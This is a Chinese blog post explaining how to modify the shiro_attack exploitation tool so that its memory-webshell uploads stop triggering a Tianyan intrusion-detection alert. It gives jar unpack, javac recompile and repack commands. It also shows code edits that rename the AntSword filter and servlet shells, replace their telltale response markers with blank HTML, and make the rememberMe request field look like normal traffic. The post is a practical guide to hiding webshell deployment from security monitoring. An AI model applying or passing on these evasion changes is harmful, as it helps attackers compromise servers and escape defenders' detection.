shiro Attack工具修改

发布于 2021-12-08  331 次阅读


shiro Attack工具修改

背景

shiro attack工具上传内存马,触发天眼菜刀上传告警

经检测流量发现,该工具默认相应包为|->Success<-|,与菜刀相同

本文为对该工具修改过程

内存马二进制部分存在于/attack/deser/plugins/MemBytes.class路径下

各种内存马位置:/x路径下

原本天眼告警部分:|->Success<-|

目前强行改成<html><head></head><body></body></html>,如果需要可以改成自己想

java版本:1.8

反编译jar包

命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\jar.exe' -xf .\shiro_attack-2.2.jar

此时目录文件

d-----         2021/6/22     10:27                attack
d-----         2013/3/18     20:30                ch
d-----         2016/1/19     13:29                clojure
d-----         2015/12/8     21:42                com
d-----         2018/3/14     14:21                doc-files
d-----          2020/6/4      4:06                io
d-----          2015/1/7      3:05                javassist
d-----         2013/4/25     16:52                javax
d-----         2021/6/22     10:27                META-INF
d-----         2015/3/24     16:29                mozilla
d-----         2014/5/25     19:26                org
d-----         2021/12/2     17:15                schema
d-----         2021/12/2     17:26                x
-a----          2010/2/4     19:21           8585 beans_1_0.xsd
-a----         2011/1/12     15:38           8258 beans_1_1.xsd
-a----         2021/6/22     10:27          15601 gui.fxml
-a----         2018/9/25     11:21           1212 log4j.properties

编译java文件

将文件用idea打开,访问class文件,无法直接修改class文件

需要先复制出来成java文件,然后编译,如果缺少依赖问题,可以配置依赖或者放在根目录编译

命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\javac.exe' .\MemBytes.java -encoding utf8

此时,会有编译好的class文件

编码是为了避免中文乱码,默认在命令行打包不是utf8格式

Jar包重打包

修改好了文件后重新打包成jar包执行即可

命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\jar.exe' -cvfm0 a.jar .\META-INF\MANIFEST.MF .\

等待即可

修改蚁剑Filter

  • 修改类名为AuckerFilter

  • 修改相应包为html字段

文件路径/x/AntSwordFilter.class

equals函数修改:

this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";

改为

this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "<html>";
String tag_e = "</html>";

addFilter函数修改

System.arraycopy(tmpFilterMaps, 0, filterMaps, 0, filterMaps.length);
String var27 = "Success";
return var27;

改为

System.arraycopy(tmpFilterMaps, 0, filterMaps, 0, filterMaps.length);
String var27 = "<head></head><body></body>";
return var27;

修改蚁剑Servlet

  • 修改类名为AuckerServlet
  • 修改相应包为html字段

文件路径/x/AntSwordServlet.class

同上

修改其他内存马

同上

修改MemBytes文件

将前面修改的每个内存马文件对应base64编码,然后url编码的字符串

复制到对应的位置编译打包即可

修改AttackService

这里是检测响应页面,如果不修改会默认相应失败

路径attack/core/AttackService

修改了相应包为html字段,同时修改了rememberMe默认请求字段更像正常文件


game to game, not win